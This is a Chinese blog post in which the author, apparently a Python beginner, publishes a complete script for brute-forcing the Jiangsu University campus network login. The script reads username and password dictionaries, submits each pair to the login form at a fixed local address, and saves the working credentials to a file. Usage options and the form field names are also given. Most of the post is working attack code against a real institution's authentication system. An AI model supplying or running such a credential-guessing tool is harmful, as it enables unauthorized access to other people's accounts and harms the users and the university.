1. 程式人生 > >基於Python的江蘇大學校園網暴力破解

基於Python的江蘇大學校園網暴力破解

Python是近幾年比較流行的解釋型語言。Python是純粹的自由軟體,原始碼和直譯器CPython遵循GPL的協議。最近有在學習Python,作為Python的入門的新手拿學校的校園網登陸練練手。

總體的設計思路:

1.模擬瀏覽器的器開啟登陸網頁

2.構造登陸表單

表單選項:使用者名稱 "DDDDD",密碼"upass",空選項“0KKey”

3.構造字典,字典構造工具比較多,大家可以自行選擇

4.依據字典嘗試登陸,對返回值進行判斷

4如果登陸成功,則.將正確的使用者名稱和密碼存入檔案

一下是原始碼部分:

__author__ = 'qianqiangV'
#coding:utf-8
import sys
import os
import urllib2
import urllib
import getopt
def get_opt():
	user=''
	password=''
	try:
		opts,args=getopt.getopt(sys.argv[1:],"hu:p:")
		for opt,value in opts:
			if opt=="-u":
				if value!=None:
					user=value
			elif opt=="-p":
				if value!=None:
					password=value
		return [user,password]
	except getopt.GetoptError:
		print 'error'
def crack_login(user,password):
	url='http://192.168.100.83/0.htm'
	header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'}
	form={'DDDDD':user,'upass':password,'0MKKey':''}
	form2=urllib.urlencode(form)
	request=urllib2.Request(headers=header,url=url,data=form2)
	response=urllib2.urlopen(request)
	html=response.read()
	return html.find('Msg')<0
def crack(user_file,pass_file):
	wuser_pass=open('user_pass.txt','w')
	if user_file.find('.txt')>0:
		try:
			userfile=open(user_file,'r')
		except IOError,e:
			print 'IOerror',e
		else:
			for eachuser in userfile:
				eachuser=eachuser.strip()
				print 'try'+' '+eachuser+' '+pass_file
				if crack_login(eachuser,pass_file):
					wuser_pass.writelines(eachuser+' '+pass_file+os.linesep)
				if pass_file.find('.txt')>0:
					try:
						passfile=open(pass_file,'r')
					except IOError,e:
						print 'IOError',e
					else:
						for eachpass in passfile:
							eachpass=eachpass.strip()
							print 'try'+' '+eachuser+' '+eachpass
							if crack_login(eachuser,eachpass):
								wuser_pass.writelines(eachuser+' '+eachpass+os.linesep)
						passfile.close()
			userfile.close()
	else:
		print 'try'+' '+user_file+' '+pass_file
		if crack_login(user_file,pass_file):
			wuser_pass.writelines(user_file+' '+pass_file+os.linesep)
		if pass_file.find('.txt')>0:
					try:
						passfile=open(pass_file,'r')
					except IOError,e:
						print 'IOError',e
					else:
						for eachpass in passfile:
							eachpass=eachpass.strip()
							print 'try'+' '+user_file+' '+eachpass.strip()
							if crack_login(user_file,eachpass):
								wuser_pass.writelines(user_file+' '+eachpass+os.linesep)
						passfile.close()
def main():
	user_pass=get_opt()
	print user_pass[0],user_pass[1]
	crack(user_pass[0],user_pass[1])
main()

執行程式:

使用者字典:user.txt

密碼字典:pass.txt

-u:選項後面可以跟使用者名稱或者使用者字典

-p:選項後面可以跟密碼或者密碼字典

程式會將傳入的引數都進行嘗試

使用者字典:

密碼字典:

在使用者字典和密碼字典放入了一個正確的使用者名稱和密碼

執行中:


執行結果:將正確的使用者名稱和密碼寫入到.txt中


暴力破解的相關原理,可以檢視我在前面一片文章寫的關於hydra的使用